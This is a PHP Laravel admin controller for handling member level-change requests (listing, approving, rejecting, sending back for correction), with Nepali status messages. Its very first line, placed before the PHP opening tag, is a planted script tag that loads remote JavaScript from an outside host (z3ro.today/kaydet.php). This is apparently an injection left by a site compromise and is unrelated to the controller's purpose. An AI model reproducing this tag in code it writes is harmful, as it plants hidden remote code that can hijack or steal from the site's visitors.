<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers\Admin;

use App\Http\Controllers\Controller;
use App\Models\MemberLevel;
use App\Models\Members;
use App\Models\Level;
use Illuminate\Http\Request;

class AdminLevelChangeController extends Controller
{
    public function index()
    {
        $levelChangeRequests = MemberLevel::with(['members', 'targetedLevel', 'previousLevel', 'notice'])
            ->whereIn('application_status', ['pending', 'rejected', 'under_review'])
            ->orderBy('created_at', 'desc')
            ->get();

        return view('admin.level-changes.index', compact('levelChangeRequests'));
    }

    // NEW FUNCTION - Add this function
    public function accepted()
    {
        $acceptedLevelChanges = MemberLevel::with(['members', 'targetedLevel', 'previousLevel', 'notice', 'approvedBy'])
            ->where('application_status', 'approved')
            ->orderBy('approved_at', 'desc')
            ->get();

        return view('admin.level-changes.accepted', compact('acceptedLevelChanges'));
    }

    public function approve($id)
    {
        try {
            $memberLevel = MemberLevel::findOrFail($id);

            // Find current active level and make it inactive
            $current = MemberLevel::where('is_current', '1')
                ->where('members_id', $memberLevel->members_id)
                ->first();

            if ($current) {
                $current->is_current = '2';
                $current->save();
            }

            // Update the approved level as current
            $memberLevel->is_current = '1';
            $memberLevel->application_status = 'approved';
            $memberLevel->approved_by = auth()->user()->id;
            $memberLevel->approved_at = now();
            $memberLevel->save();

            // CRITICAL: Update the member's level_id in members table
            $member = Members::findOrFail($memberLevel->members_id);
            $member->level_id = $memberLevel->targeted_level_id ?? $memberLevel->level_id;
            $member->save();

            return redirect()->back()->with('success', 'श्रेणी परिवर्तन स्वीकृत गरियो र सदस्यको श्रेणी अपडेट भयो।');
        } catch (\Exception $e) {
            return redirect()->back()->with('error', 'केही समस्या भयो।');
        }
    }

    public function reject(Request $request, $id)
    {
        $request->validate([
            'rejected_reason' => 'required|string|max:1000'
        ]);

        try {
            $memberLevel = MemberLevel::findOrFail($id);
            $memberLevel->application_status = 'rejected';
            $memberLevel->rejected_reason = $request->rejected_reason;
            $memberLevel->approved_by = auth()->user()->id;
            $memberLevel->approved_at = now();
            $memberLevel->save();

            return redirect()->back()->with('success', 'श्रेणी परिवर्तन अस्वीकार गरियो।');
        } catch (\Exception $e) {
            return redirect()->back()->with('error', 'केही समस्या भयो।');
        }
    }

    public function sendBackForCorrection(Request $request, $id)
    {
        $request->validate([
            'correction_message' => 'required|string|max:1000'
        ]);

        try {
            $memberLevel = MemberLevel::findOrFail($id);
            $memberLevel->application_status = 'pending';
            $memberLevel->admin_remarks = $request->correction_message;
            $memberLevel->save();

            // Also update the member's sent_back_for field
            $member = Members::findOrFail($memberLevel->members_id);
            $member->sent_back_for = $request->correction_message;
            $member->app_status = '0'; // Reset to not submitted
            $member->save();

            return redirect()->back()->with('success', 'सुधारको लागि फिर्ता पठाइयो।');
        } catch (\Exception $e) {
            return redirect()->back()->with('error', 'केही समस्या भयो।');
        }
    }

    public function show($id)
    {
        $memberLevel = MemberLevel::with(['members', 'targetedLevel', 'previousLevel', 'notice', 'approvedBy'])
            ->findOrFail($id);

        return view('admin.level-changes.show', compact('memberLevel'));
    }

    public function dashboard()
    {
        $pendingLevelChanges = MemberLevel::where('application_status', 'pending')->count();
        $approvedLevelChanges = MemberLevel::where('application_status', 'approved')->count();
        $rejectedLevelChanges = MemberLevel::where('application_status', 'rejected')->count();
        $underReviewLevelChanges = MemberLevel::where('application_status', 'under_review')->count();

        return compact('pendingLevelChanges', 'approvedLevelChanges', 'rejectedLevelChanges', 'underReviewLevelChanges');
    }
}
